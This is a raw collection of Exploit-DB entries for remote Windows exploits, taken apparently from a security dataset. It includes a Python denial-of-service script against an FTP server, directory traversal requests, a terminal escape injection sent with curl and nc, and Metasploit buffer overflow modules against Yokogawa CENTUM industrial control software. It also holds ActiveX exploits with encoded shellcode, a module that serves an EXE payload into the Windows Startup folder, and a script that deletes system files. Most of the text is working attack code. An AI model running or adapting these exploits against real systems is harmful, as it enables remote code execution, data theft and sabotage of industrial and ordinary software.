deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49127
Description: YATinyWinFTP - Denial of Service (PoC)
Type: remote
Platform: windows
Date: 2020-11-30
Author: strider

Exploit:
# Exploit Title: YATinyWinFTP - Denial of Service (PoC)
# Google Dork: None
# Date: 20.08.2020
# Exploit Author: strider
# Vendor Homepage: https://github.com/ik80/YATinyWinFTP
# Software Link: https://github.com/ik80/YATinyWinFTP
# Tested on: Windows 10

------------------------------[Description]---------------------------------

This Eyxploit connects to the FTP-Service and sends a command which has a size of 256bytes with an trailing space at the end.
The result it crashes

 -----------------------------[Exploit]---------------------------------------------

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import socket, sys

target = (sys.argv[1], int(sys.argv[2]))
buffer = b'A' * 272 + b'\x20'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target)
print(s.recv(1024))
s.send(buffer)
s.close()

 -----------------------------[how to run]-----------------------------

C:\> TinyWinFTP.exe servepath port

~$ python3 exploit.py targetip port

Boom!
Exploit-DB #25487
Description: yawcam 0.2.5 - Directory Traversal
Type: remote
Platform: windows
Date: 2005-04-21
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/13295/info

Yawcam is prone to a directory traversal vulnerability that could allow attackers to read files outside the Web root. 

GET ..\..\..\..\..\..\..\..\windows\system.ini HTTP/1.0

GET \..\..\..\..\..\..\..\..\windows\system.ini HTTP/1.0
Exploit-DB #33502
Description: Yaws 1.55 - 'Logs' Terminal Escape Sequence Command Injection
Type: remote
Platform: windows
Date: 2010-01-11
Author: evilaliv3

Exploit:
source: https://www.securityfocus.com/bid/37716/info

Yaws is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

Yaws 1.85 is vulnerable; other versions may also be affected. 

The following example is available:

curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a
echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload
Exploit-DB #25841
Description: Yaws 1.5x - Source Code Disclosure
Type: remote
Platform: windows
Date: 2005-06-17
Author: Daniel Fabian

Exploit:
source: https://www.securityfocus.com/bid/13981/info

A vulnerability has been reported in Yaws that may result in the disclosure of script files' source code.

Information obtained in this manner may be used by the attacker to launch further attacks against a vulnerable system.

Yaws 1.55 and prior versions are affected. 

http://www.example.com/dynamic.yaws%00
Exploit-DB #34686
Description: YelloSoft Pinky 1.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2010-09-16
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/43358/info

Pinky is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to read files outside the webroot directory. Information harvested may aid in launching further attacks.

Pinky 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../windows/win.ini
Exploit-DB #32210
Description: Yokogawa CENTUM CS 3000 - 'BKBCopyD.exe' Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2014-03-12
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Yokogawa CENTUM CS 3000 BKBCopyD.exe Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability
        exists in the service BKBCopyD.exe when handling specially crafted packets. This module has
        been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3.
      },
      'Author'         =>
        [
          'juan vazquez',
          'Redsadic <julian.vilas[at]gmail.com>'
        ],
      'References'     =>
        [
          [ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],
          [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ]
        ],
      'Payload'        =>
        {
          'Space'          => 373, # 500 for the full RETR argument
          'DisableNops'    => true,
          'BadChars'       => "\x00\x0d\x0a\xff",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff\xff\xff" # Stack adjustment # add esp, -3500 # double \xff char to put it on memory
        },
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows XP SP3',
            {
              'Ret'    => 0x6404625d, # push esp # ret # libBKBUtil.dll]
              'Offset' => 123
            }
          ],
        ],
      'DisclosureDate' => 'Mar 10 2014',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(20111)
      ], self.class)
  end

  def check
    pkt = build_probe
    res = send_pkt(pkt)
    if valid_response?(res)
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Safe
  end


  def exploit
    data = "RETR "
    data << rand_text(target['Offset'])
    data << [target.ret].pack("V")
    data << payload.encoded
    data << "\n"

    print_status("Trying target #{target.name}, sending #{data.length} bytes...")
    connect
    sock.put(data)
    disconnect
  end

  def build_probe
    "#{rand_text_alpha(10)}\n"
  end

  def send_pkt(data)
    connect
    sock.put(data)
    data = sock.get_once
    disconnect

    return data
  end

  def valid_response?(data)
    return false unless !!data
    return false unless data =~ /500  'yyparse error': command not understood/
    return true
  end

end
Exploit-DB #34009
Description: Yokogawa CS3000 - 'BKFSim_vhfd.exe' Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2014-07-08
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow',
      'Description'    => %q{
        This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability
        exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create
        logs using functions like vsprintf and memcpy in a insecure way. This module has been
        tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3.
      },
      'Author'         =>
        [
          'Redsadic <julian.vilas[at]gmail.com>',
          'juan vazquez'
        ],
      'References'     =>
        [
          ['CVE', '2014-3888'],
          ['URL', 'http://jvn.jp/vu/JVNVU95045914/index.html'],
          ['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0002E.pdf'],
          ['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/07/07/r7-2014-06-disclosure-yokogawa-centum-cs-3000-bkfsimvhfdexe-buffer-overflow']
        ],
      'Payload'        =>
        {
          'Space'    => 1770, # 2228 (max packet length) - 16 (header) - (438 target['Offset']) - 4 (ret)
          'DisableNops' => true,
          'BadChars' => "\x00",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3',
            {
              'Ret'    => 0x61e55c9c, # push esp | ret # LibBKCCommon.dll
              'Offset' => 438
            }
          ],
        ],
      'DisclosureDate' => 'May 23 2014',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(20010)
      ], self.class)
  end

  def exploit
    connect_udp

    sploit = "\x45\x54\x56\x48\x01\x01\x10\x09\x00\x00\x00\x01\x00\x00\x00\x44" # header
    sploit << rand_text(target['Offset'])
    sploit << [target.ret].pack("V")
    sploit << payload.encoded

    print_status("Trying target #{target.name}, sending #{sploit.length} bytes...")
    udp_sock.put(sploit)

    disconnect_udp
  end

end
Exploit-DB #19688
Description: ZBServer Pro 1.5 - Remote Buffer Overflow (1)
Type: remote
Platform: windows
Date: 1999-12-23
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/889/info

ZBSoft ZBServer Pro is an Internet and Intranet server that supports HTTP, Gopher, FTP and Chat Services. ZBServer is available for Microsoft Windows operating systems.

ZBServer Pro 1.5 has an unchecked buffer in the code that handles GET requests. This weakness allows for the execution of arbitrary code. 

USSR exploit:
Binary exploit - 19688.exe
Source code - 19688.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19688.exe

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19688.zip
Exploit-DB #4050
Description: Zenturi ProgramChecker - 'ActiveX NavigateUrl()' Insecure Method
Type: remote
Platform: windows
Date: 2007-06-08
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 <b>Zenturi ProgramChecker ActiveX Control "NavigateUrl()" Insecure Method</b>
 
 url: http://www.programchecker.com/activeintro.aspx

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 I can't believe my eyes when I see what you can do with this ActiveX
 (and I can't believe that this product is considered as antispyware).
 You can use the "NavigateUrl()" to arbitrary launch local file from a pc.
 Try, for example, to launch "c:\somefile.exe" and see what happen.
 Imagine to use this method with the "DownloadFile()" one, you can download
 something on the pc and run it without problems.
 For the "DownloadFile()" vulnerability see:
 <a href=http://www.milw0rm.com/exploits/4008>http://www.milw0rm.com/exploits/4008</a>
-----------------------------------------------------------------------------

<object classid='clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5' id='test' ></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe()
 
 test.NavigateUrl "notepad.exe" ,"shinnai" ,"_SELF"
 test.NavigateUrl "cmd.exe" ,"shinnai" ,"_SELF"

End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-06-08]
Exploit-DB #4021
Description: Zenturi ProgramChecker - ActiveX 'sasatl.dll' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2007-06-01
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">------------------------------------------------------------------------
 <b>Zenturi ProgramChecker ActiveX (sasatl.dll) Remote Buffer Overflow PoC</b>
 url: http://www.programchecker.com/activeintro.aspx
 
 <b><font color=red>original advisory: http://secunia.com/advisories/25473/
 Will Dormann, CERT/CC, is credited with the discovery of these issues</font></b>

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 Tested on Windows XP Professional SP2 all patched, with Internet
 Explorer 7
------------------------------------------------------------------------

<object classid='clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
Sub tryMe()
 buff      = String(838, "A")

 get_EIP   = unescape("%AA%A2%39%7E") 'call ESI from user32.dll

 nop       = String(1648,unescape("%90"))

 shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
             unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
             unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
             unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
             unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
             unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
             unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
             unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
             unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
             unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
             unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
             unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
             unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
             unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
             unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
             unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
             unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
             unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
             unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
             unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
             unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
             unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")

 test.DebugMsgLog buff + get_EIP + nop + shellcode + nop
End Sub
</script>

</span></span>
</code></pre>

# milw0rm.com [2007-06-01]
Exploit-DB #16540
Description: Zenturi ProgramChecker - ActiveX Control Arbitrary File Download (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-24
Author: Metasploit

Exploit:
##
# $Id: zenturiprogramchecker_unsafe.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Zenturi ProgramChecker ActiveX Control Arbitrary File Download',
			'Description'    => %q{
					This module allows remote attackers to place arbitrary files on a users file system
				via the Zenturi ProgramChecker sasatl.dll (1.5.0.531) ActiveX Control.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 11127 $',
			'References'     =>
				[
					[ 'CVE', '2007-2987' ],
					[ 'OSVDB', '36715' ],
					[ 'BID', '24217' ],
				],
			'Payload'        =>
				{
					'Space'           => 2048,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DisclosureDate' => 'May 29 2007',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\']),
			], self.class)
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)

		payload_url =  "http://"
		payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"

		if (request.uri.match(/payload/))
			return if ((p = regenerate_payload(cli)) == nil)
			data = generate_payload_exe({ :code => p.encoded })
			print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
			send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
			return
		end

		vname  = rand_text_alpha(rand(100) + 1)
		exe    = rand_text_alpha(rand(20) + 1)

		content = %Q|
		<html>
			<object id='#{vname}' classid='clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5'></object>
			<script language="JavaScript">
				#{vname}.DownloadFile("#{payload_url}", "#{datastore['PATH']}\\#{exe}.exe", 1, 1);
			</script>
		</html>
				|

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

		send_response_html(cli, content)

		handler(cli)

	end

end
Exploit-DB #4008
Description: Zenturi ProgramChecker - ActiveX File Download/Overwrite
Type: remote
Platform: windows
Date: 2007-05-30
Author: shinnai

Exploit:
<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/30</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-------------------------------------------------------------------------------------------
 <b>Zenturi ProgramChecker ActiveX (sasatl.dll) Arbitrary file download/overwrite Exploit</b>
 url: http://www.programchecker.com/activeintro.aspx

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 Using the "DownloadFile" method, you can download everything you want on a pc. This
 exploit just download a txt file on pc, I try to overwrite cmd.exe and it works.
-------------------------------------------------------------------------------------------

<object classid='clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5' id='test' ></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe()
 
 test.DownloadFile "http://www.shinnai.altervista.org/shinnai.txt" ,"c:\shinnai.txt" ,"0", "0"

End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-30]
Exploit-DB #4049
Description: Zenturi ProgramChecker - ActiveX Multiple Insecure Methods
Type: remote
Platform: windows
Date: 2007-06-08
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 <b>Zenturi ProgramChecker ActiveX Control Multiple Insecure Methods</b>
 url: http://www.programchecker.com/activeintro.aspx

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL DELETE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------

<object classid='clsid:41A5D8DB-EA47-4DE9-B249-1F55738FEA20' id='test' width='0' height='0'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<select style="width: 404px" name="Pucca">
  <option value = "DeleteItem">DeleteItem</option>

  <option value = "QuarantineItem">QuarantineItem</option>
</select>

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL DELETE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
     if Pucca.value = "DeleteItem" Then
      test.DeleteItem "c:\windows\system_.ini" ,"c:\windows\system_.ini"
      MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's deleted.", 64,"Zenturi ProgramChecker ActiveX")
     ElseIf Pucca.value = "QuarantineItem" Then
      test.QuarantineItem "c:\windows\system_.ini"
      MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's deleted.", 64,"Zenturi ProgramChecker ActiveX")
     End If
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "Zenturi ProgramChecker ActiveX")
   End If 
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-06-08]
Exploit-DB #8463
Description: Zervit Web Server 0.02 - Directory Traversal
Type: remote
Platform: windows
Date: 2009-04-16
Author: e.wiZz!

Exploit:
####################  Zervit Webserver Directory Traversal   ############################


############### By:      e.wiZz!

###############Site:   www.balcansecurity.com


############### Found with ServMeNot (world's sexiest fuzzer :P )



In the wild...

########################################################################################

#Site:  http://zervit.sourceforge.net/

#Info:  Zervit is the first compact, portable HTTP/Web Server made for human beings. 
It is being developed thinking in the people that will make use of it and tries to make itself intuitive. 
It aims to make file sharing or displaying a web easier than the current servers do. 

#Vulnerability:

http://[site]/../../../../../../boot.ini

# milw0rm.com [2009-04-16]